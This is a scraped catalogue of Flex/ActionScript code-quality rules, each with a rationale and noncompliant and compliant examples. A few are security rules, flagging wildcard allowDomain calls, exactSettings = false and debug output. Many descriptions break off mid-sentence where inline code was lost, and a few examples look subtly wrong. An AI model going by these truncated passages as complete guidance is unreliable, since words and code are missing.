||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1448 |
A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression: ^[a-z][a-zA-Z0-9]*$ function DoSomething(){...} Compliant Solutionfunction doSomething(){...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S101 |
Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression public class myClass {...} Compliant Solutionpublic class MyClass {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1440 |
The It is best to always use the side-effect-less Noncompliant Code Exampleif (var == 'howdy') {...} // Noncompliant Compliant Solutionif (var === 'howdy') {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1442 |
Noncompliant Code Exampleif (unexpectedCondition) { Alert.show("Unexpected Condition"); } See
DeprecatedThis rule is deprecated; use S4507 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1125 |
Redundant Boolean literals should be removed from expressions to improve readability. Noncompliant Code Exampleif (booleanMethod() == true) { /* ... */ } if (booleanMethod() == false) { /* ... */ } if (booleanMethod() || false) { /* ... */ } doSomething(!false); doSomething(booleanMethod() == true); booleanVariable = booleanMethod() ? true : false; booleanVariable = booleanMethod() ? true : exp; booleanVariable = booleanMethod() ? false : exp; booleanVariable = booleanMethod() ? exp : true; booleanVariable = booleanMethod() ? exp : false; Compliant Solutionif (booleanMethod()) { /* ... */ } if (!booleanMethod()) { /* ... */ } if (booleanMethod()) { /* ... */ } doSomething(true); doSomething(booleanMethod()); booleanVariable = booleanMethod(); booleanVariable = booleanMethod() || exp; booleanVariable = !booleanMethod() && exp; booleanVariable = !booleanMethod() || exp; booleanVariable = booleanMethod() && exp; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1444 |
There is no good reason to declare a field "public" and "static" without also declaring it "const". Most of the time this is a kludge to share a
state among several objects. But with this approach, any object can do whatever it wants with the shared state, such as setting it to
Noncompliant Code Examplepublic class Greeter { public static var foo:Foo = new Foo(...); ... } Compliant Solutionpublic class Greeter { public static const FOO:Foo = new Foo(...); ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1445 |
Even though this is syntactically correct, the Noncompliant Code Examplepublic class Foo { public function Foo() : void {...} } Compliant Solutionpublic class Foo { public function Foo() {...} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:ActionScript2 |
Usage of statements, operators and keywords specific to ActionScript 2 does not allow to migrate to ActionScript 3. This includes "intrinsic" keyword, set variable statement and following list of operators:
Noncompliant Code Exampleif (true != false) { // Compliant } if (true <> false) { // Noncompliant } set("varName", value); // Noncompliant varName = value; // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S127 |
A Stop conditions that are not invariant are slightly less efficient, as well as being difficult to understand and maintain, and likely lead to the introduction of errors in the future. This rule tracks three types of non-invariant stop conditions:
Noncompliant Code Examplefor (var i = 0; i < 10; i++) { ... i = i - 1; // Noncompliant ... } for (var i = 0; i < getMaximumNumber(); i++) {...} Compliant Solutionint stopCondition = getMaximumNumber(); for (var i = 0; i < stopCondition; i++) {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1151 |
The Noncompliant Code ExampleWith the default threshold of 5: switch (myVariable) { case 0: // Noncompliant - 6 lines till next case or default case trace(""); trace(""); trace(""); trace(""); break; case 1: ... } Compliant Solutionswitch (myVariable) { case 0: printSomething() break; case 1: ... } ... private function printSomething() { trace(""); trace(""); trace(""); trace(""); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1470 |
Overriding Event.clone() is a required part of the API contract:
Noncompliant Code Examplepublic class MyEvent extends Event {...} Compliant Solutionpublic class MyEvent extends Event { ... override public function clone():Event { return new MyEvent(...); } ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:NonEmptyCaseWithoutBreak |
When the execution is not explicitly terminated at the end of a switch case, it continues to execute the statements of the following case. While this is sometimes intentional, it often is a mistake which leads to unexpected behavior. Noncompliant Code Exampleswitch (myVariable) { case 1: foo(); break; case 2: // Both 'doSomething()' and 'doSomethingElse()' will be executed. Is it on purpose ? doSomething(); default: doSomethingElse(); break; } Compliant Solutionswitch (myVariable) { case 1: foo(); break; case 2: doSomething(); break; default: doSomethingElse(); break; } ExceptionsThis rule is relaxed in the following cases: switch (myVariable) { case 0: // Empty case used to specify the same behavior for a group of cases. case 1: doSomething(); break; case 2: // Use of return statement return; case 3: // Use of throw statement throw new IllegalStateException(); case 4: // Use of continue statement continue; default: // For the last case, use of break statement is optional doSomethingElse(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:WithStatement |
Never use Noncompliant Code Examplewith (foo) { // Noncompliant return x; // is it a property of foo or local variable ? } Compliant Solutionreturn foo.x; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:CommentedCode |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:CommentRegularExpression |
This rule template can be used to create rules which will be triggered when a comment matches a given regular expression. For example, one can create a rule with the regular expression Note that, in order to match REVIEW regardless of the case, the |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1435 |
According to the ActionScript language reference, the star type:
But deferring type checking to runtime can highly impact the robustness of the application because the compiler is unable to assist the developer. Noncompliant Code Examplevar obj:*; // Noncompliant var foo:* = new Something(); // Noncompliant Compliant Solutionvar obj:Something; var foo:Something = new Something(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1116 |
Empty statements, i.e.
Noncompliant Code Examplefunction doSomething():void { ; // Noncompliant - was used as a kind of TODO marker } function doSomethingElse():void { trace("Hello, world!");; // Noncompliant - double ; ... for (var i:int = 0; i < 3; trace(i), i++); // Noncompliant - Rarely, they are used on purpose as the body of a loop. It is a bad practice to have side-effects outside of the loop body ... } Compliant Solutionfunction doSomething():void {} function doSomethingElse():void { trace("Hello, world!"); ... for (var i:int = 0; i < 3; i++){ trace(i); } ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1314 |
Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values. Noncompliant Code Examplevar myNumber:int = 010; // Noncompliant. myNumber will hold 8, not 10 - was this really expected? Compliant Solutionvar myNumber:int = 8; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1952 |
It can be expensive to instantiate a new object, and doing so inside a loop is typically an error. Instead, create the object once, before the loop. Noncompliant Code Examplefor (var i:int = 0; i < 10; i++) { var temp:MyObj = new MyObject(); // Noncompliant //... } Compliant Solutionvar temp:MyObj = new MyObject(); for (var i:int = 0; i < 10; i++) { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:FunctionComplexity |
The Cyclomatic Complexity of functions should not exceed a defined threshold. Complex code may perform poorly and can be difficult to test thoroughly. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S4507 |
Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities: An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDo not enable debug features on production servers. Sensitive Code Exampleif (unexpectedCondition) { Alert.show("Unexpected Condition"); // Sensitive } The var val:Number = doCalculation(); trace("Calculation result: " + val); // Sensitive See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1117 |
Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another. Noncompliant Code Exampleclass Foo { public var myField:int; public function doSomething():String { var myField:int = 0; ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:SwitchWithoutDefault |
The requirement for a final Noncompliant Code Exampleswitch (param) { // Noncompliant - default clause is missing case 0: doSomething(); break; case 1: doSomethingElse(); break; } switch (param) { default: // Noncompliant - default clause should be the last one doSomething(); break; case 0: doSomethingElse(); break; } Compliant Solutionswitch (param) { case 0: doSomethingElse(); break; default: doSomethingElse(); break; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1438 |
In Flex, the semicolon is optional as a statement separator, but omitting semicolons can be confusing. Noncompliant Code Examplefunction fun() { return // Noncompliant 5 // Noncompliant } print(fun()); // prints "undefined", not "5" Compliant Solutionfunction fun() { return 5; } print(fun()); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1439 |
Any statement or block of statements can be identified by a label, but those labels should be used only on Noncompliant Code ExamplemyLabel:if (i % 2 == 0) { // Noncompliant if (i == 12) { print("12"); break myLabel; } print("Odd number, but not 12"); } Compliant SolutionmyLabel:for (i = 0; i < 10; i++) { // Compliant print("Loop"); break myLabel; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S134 |
Nested Such code is hard to read, refactor and therefore maintain. Noncompliant Code ExampleWith the default threshold of 3: if (condition1) { // Compliant - depth = 1 /* ... */ if (condition2) { // Compliant - depth = 2 /* ... */ for(int i = 0; i < 10; i++) { // Compliant - depth = 3, not exceeding the limit /* ... */ if (condition4) { // Noncompliant - depth = 4 if (condition5) { // Depth = 5, exceeding the limit, but issues are only reported on depth = 4 /* ... */ } return; } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:FunctionSinglePointOfExit |
This is required by IEC 61508, under good programming style. Noncompliant Code Examplefunction func1() { // Noncompliant - there are two points of exit if (false) { return; } } function func2() { // Noncompliant - there are two points of exit if (a > 0) { return 0; } return -1; } Compliant Solutionfunction func1() { return; } function func2() { } function func3(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1871 |
Having two Noncompliant Code Exampleswitch (i) { case 1: doFirstThing(); doSomething(); break; case 2: doSomethingDifferent(); break; case 3: // Noncompliant; duplicates case 1's implementation doFirstThing(); doSomething(); break; default: doTheRest(); } if (a >= 0 && a < 10) { doFirstThing(); doTheThing(); } else if (a >= 10 && a < 20) { doTheOtherThing(); } else if (a >= 20 && a < 50) { doFirstThing(); doTheThing(); // Noncompliant; duplicates first condition } else { doTheRest(); } ExceptionsBlocks in an if (a == 1) { doSomething(); //no issue, usually this is done on purpose to increase the readability } else if (a == 2) { doSomethingElse(); } else { doSomething(); } But this exception does not apply to if (a == 1) { doSomething(); //Noncompliant, this might have been done on purpose but probably not } else if (a == 2) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1312 |
Loggers should be:
Noncompliant Code ExampleWith the default regular expression public const logger:ILogger = LogUtil.getLogger(MyClass); Compliant Solutionprivate static const LOG:ILogger = LogUtil.getLogger(MyClass); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1950 |
Having multiple cases in a If the first case ends with a break, the second case will never be executed, rendering it dead code. Worse there is the risk in this situation that future maintenance will be done on the dead case, rather than on the one that's actually used. On the other hand, if the first case does not end with a break, both cases will be executed, but future maintainers may not notice that. Noncompliant Code Exampleswitch(i) { case 1: //... break; case 5: //... break; case 3: //... break; case 1: // Noncompliant //... break; } Compliant Solutionswitch(i) { case 1: //... break; case 5: //... break; case 3: //... break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1434 |
Creating a new variable with the type "Object" means that it may be used to store any kind of object. This feature may be required in some specific contexts, but it leaves the compiler unable to do any kind of type checking, and is therefore a hazardous practice. Noncompliant Code Examplevar obj:Object = new String(); // Noncompliant; Object used explicitly var foo = new Object(); // Noncompliant; Object used explicitly var bar = {name:String, age:int}; // Noncompliant; Object implicitly created Compliant Solutionvar obj:String = new String(); var foo:IPortfolio = new Portfolio(); class Person { public var name:String; public var age:int; } var bar:Person = new Person(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1951 |
The Noncompliant Code Examplevar val:Number = doCalculation(); trace("Calculation result: " + val); // Noncompliant Compliant Solutionvar val:Number = doCalculation(); See
DeprecatedThis rule is deprecated; use S4507 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S117 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression. Noncompliant Code ExampleWith the default regular expression public function doSomething(my_param:int):void { var LOCAL:int; ... } Compliant Solutionpublic function doSomething(myParam):void { var local; ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S115 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all constant names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression public static const first:String = "first"; Compliant Solutionpublic static const FIRST:String = "first"; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S116 |
Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate. This rule allows to check that field names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression class MyClass { public var my_field:int; } Compliant Solutionpublic class MyClass { public var myField:int; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:ClassComplexity |
The cyclomatic complexity of a class should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain. DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1468 |
Calling Security.allowDomain("*") lets any domain cross-script into the domain of this SWF and exercise its functionality. Noncompliant Code ExampleSecurity.allowDomain("*"); Compliant SolutionSecurity.allowDomain("www.myDomain.com"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1820 |
A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain, and having a lot of fields is an indication that a class has grown too large. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1469 |
Quoted from the Flex documentation :
Noncompliant Code Examplepublic var newStringProperty:Array; public var newNumberProperty:Array; Compliant Solution[ArrayElementType("String")] public var newStringProperty:Array; [ArrayElementType("Number")] public var newNumberProperty:Array; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code Examplepublic function func(foo:Number, bar:Number):void { switch (foo) { case 1: // do something break; case 2: switch (bar) // Noncompliant { case 89: // It's easy to lose sight of what's being tested; is it foo or bar? // ... break; case 90: // ... break; } break; case 3: // do something break; default: break; } } Compliant Solutionpublic function func(foo:Number, bar:Number):void { switch (foo) { case 1: // ... break; case 2: handleBar(bar); break; case 3: // ... break; default: break; } } public function handleBar(bar:Number):void { switch (bar) { case 89: // ... break; case 90: // ... break; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S3923 |
Having all branches in a Noncompliant Code Exampleif (b == 0) { // Noncompliant doOneMoreThing(); } else { doOneMoreThing(); } int b = a > 12 ? 4 : 4; // Noncompliant switch (i) { // Noncompliant case 1: doSomething(); break; case 2: doSomething(); break; case 3: doSomething(); break; default: doSomething(); } ExceptionsThis rule does not apply to if(b == 0) { //no issue, this could have been done on purpose to make the code more readable doSomething(); } else if(b == 1) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:OneStatementPerLine |
For better readability, do not put more than one statement on a single line. Noncompliant Code Exampleif(someCondition) doSomething(); Compliant Solutionif(someCondition) { doSomething(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1185 |
Overriding a method just to call the same method from the super class without performing any other actions is useless and misleading. Noncompliant Code Exampleoverride public function doSomething() : void { super.doSomething(); } override public function isLegal(action:Action) : Boolean { return super.isLegal(action); } Compliant Solutionoverride public function doSomething() : void { super.doSomething(); // Compliant - not simply forwarding the call doSomethingElse(); } override public function isLegal(action:Action) : Boolean { return super.isLegal(new Action(...)); // Compliant - not simply forwarding the call } [Deprecated(replacement="isAuthorized")] override public function isLegal(action:Action) : Boolean { return super.isLegal(action); // Compliant as there is a metadata } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1142 |
Having too many return statements in a function increases the function's essential complexity because the flow of execution is broken each time a return statement is encountered. This makes it harder to read and understand the logic of the function. Noncompliant Code ExampleWith the default threshold of 3: function myFunction():boolean { // Noncompliant as there are 4 return statements if (condition1) { return true; } else { if (condition2) { return false; } else { return true; } } return false; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1186 |
There are several reasons for a method not to have a method body:
Noncompliant Code Examplepublic override function doSomething():void { } public function doSomethingElse():void { } Compliant Solutionpublic override function doSomething():void { throw new IllegalOperationError("doSomething cannot be performed because ..."); } public function doSomethingElse():void { //This method is empty because ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1066 |
Merging collapsible Noncompliant Code Exampleif (condition1) { if (condition2) { // NonCompliant ... } } Compliant Solutionif (condition1 && condition2) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S120 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all package names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression package org.Example { // Noncompliant ... } Compliant Solutionpackage org.example { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1462 |
Using plain string event names in even listeners is an anti-pattern; if the event is renamed, the application can start behaving unexpectedly. A constant variable should be used instead. Noncompliant Code Exampleimport flash.display.Sprite; import flash.events.MouseEvent; class ChildSprite extends Sprite { public function ChildSprite() { ... addEventListener("CustomEvent", clickHandler); // Noncompliant } } function clickHandler(event:CustomEvent):void { trace("clickHandler detected an event of type: " + event.type); trace("the this keyword refers to: " + this); } Compliant Solutionimport flash.display.Sprite; import flash.events.MouseEvent; class ChildSprite extends Sprite { public const CUSTOM_EVENT:String = "CustomEvent"; public function ChildSprite() { ... addEventListener(CUSTOM_EVENT, clickHandler); } } function clickHandler(event:CustomEvent):void { trace("clickHandler detected an event of type: " + event.type); trace("the this keyword refers to: " + this); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1463 |
According to the Flex documentation :
In this example, the "enableChange" event must be considered part of the API. Therefore, it should be strongly typed. Noncompliant Code Example[Event(name="enableChange")] public class ModalText extends TextArea {...} Compliant Solution[Event(name="enableChange", type="flash.events.Event")] public class ModalText extends TextArea {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1144 |
Private functions that are never executed are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced. Noncompliant Code Examplepublic class Foo { private function Foo(){} //Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class. public static function doSomething():void { var foo:Foo = new Foo(); ... } private function unusedPrivateFunction():void {...} } Compliant Solutionpublic class Foo { private function Foo(){} //Compliant, private empty constructor intentionally used to prevent any direct instantiation of a class. public static function doSomething():void { var foo:Foo = new Foo(); ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1145 |
There are three possible causes for the presence of such code:
In any of these cases, unconditional Noncompliant Code Exampleif (true) { doSomething(); } ... if (false) { doSomethingElse(); } Compliant SolutiondoSomething(); ... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1464 |
The "ManagedEvents" metadata tag allows you to flag an event as being managed. By definition this "ManagedEvents" metadata tag should be used in pair with an "Event" metadata tag. Noncompliant Code Example[Event(name="message", type="my.package.MyEvemt")] [ManagedEvents("mes")] //This "mes" event is not defined with the "Event" metadata tag public class MyClass {...} Compliant Solution[Event(name="message", type="my.package.MyEvemt")] [ManagedEvents("message")] public class MyClass {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1068 |
If a Noncompliant Code Examplepublic class MyClass { private var foo:int = 4; //foo is unused public function compute(a:int):int{ return a * 4; } } Compliant Solutionpublic class MyClass { public function compute(a:int):int{ return a * 4; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1465 |
A Noncompliant Code ExamplelocalConnection.allowDomain("*"); Compliant SolutionlocalConnection.allowDomain("www.myDomain.com"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1784 |
Access modifiers define which classes can access properties, variables, methods, and other classes. If an access modifier is not specified, the
access level defaults to Available access modifiers are:
Noncompliant Code Examplefunction checkResources():Boolean { ... return true; } Compliant Solutionpublic function checkResources():Boolean { ... return true; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1982 |
The If the use of this event handler cannot be avoided entirely, then it should be created as close to its use as possible, and then destroyed as soon as possible afterward. Noncompliant Code ExamplemovieClip.onEnterFrame = function () { // Noncompliant // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1301 |
For just one or two cases however, the code will be more readable with Noncompliant Code Exampleswitch (variable) { case 0: doSomething(); break; default: doSomethingElse(); break; } Compliant Solutionif (variable == 0) { doSomething(); } else { doSomethingElse(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1466 |
The Security.exactSettings value should remain set at the default value of true. Setting this value to false could make the SWF vulnerable to cross-domain attacks. Noncompliant Code ExampleSecurity.exactSettings = false; Compliant SolutionSecurity.exactSettings = true; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1467 |
A listener can be attached to an object only after it has been constructed. So dispatching an event in a constructor is useless and error prone. Noncompliant Code Examplepublic class MyClass { public function MyClass() { dispatchEvent( new Event( "uselessEvent" ) ); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:XPath |
This rule allows the definition of custom rules using XPath expressions. Issues are created depending on the return value of the XPath expression. If the XPath expression returns:
Here is an example of an XPath expression to log an issue on each if statement: //IF_STATEMENT |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Examplefor (var i:int = 0; i < 42; i++){} // Noncompliant try { // Noncompliant } catch (error) { ... } Compliant Solutionfor (var i:int = 0; i < 42; i++); for (var i:int = 0; i < 42; i++) { trace(i); } ExceptionsWhen a block contains a comment, this block is not considered to be empty. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. Noncompliant Code ExampleWith a maximum number of 4 parameters: public function addData(p1 : int, p2 : int, p3 : int, p4 : int, p5 : int): void { ... } Compliant Solutionpublic function addData(p1 : int, p2 : int, p3 : int, p4 : int): void { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1170 |
Making a public constant just Noncompliant Code Examplepublic class Myclass { public const THRESHOLD:int = 3; } Compliant Solutionpublic class Myclass { public static const THRESHOLD:int = 3; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1172 |
Unused parameters are misleading. Whatever the value passed to such parameters is, the behavior will be the same. Noncompliant Code Examplefunction doSomething(a:int, b:int):void // "b" is unused { compute(a); } Compliant Solutionfunction doSomething(a:int):void { compute(a); } ExceptionsThe following cases are ignored
override function doSomething(a:int):void { // ignored compute(a); } ... class AbstractSomething { public function doSomething(a:int) { // ignored throw new IllegalOperationError("doSomething() is abstract"); } ... interface I { function action(a:int, b:int); } class C extends I { function action(a:int, b:int) { // ignored return doSomethignWith(a); } } function clickHandler(event:MouseEvent):void { // ignored trace("click"); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:LineLength |
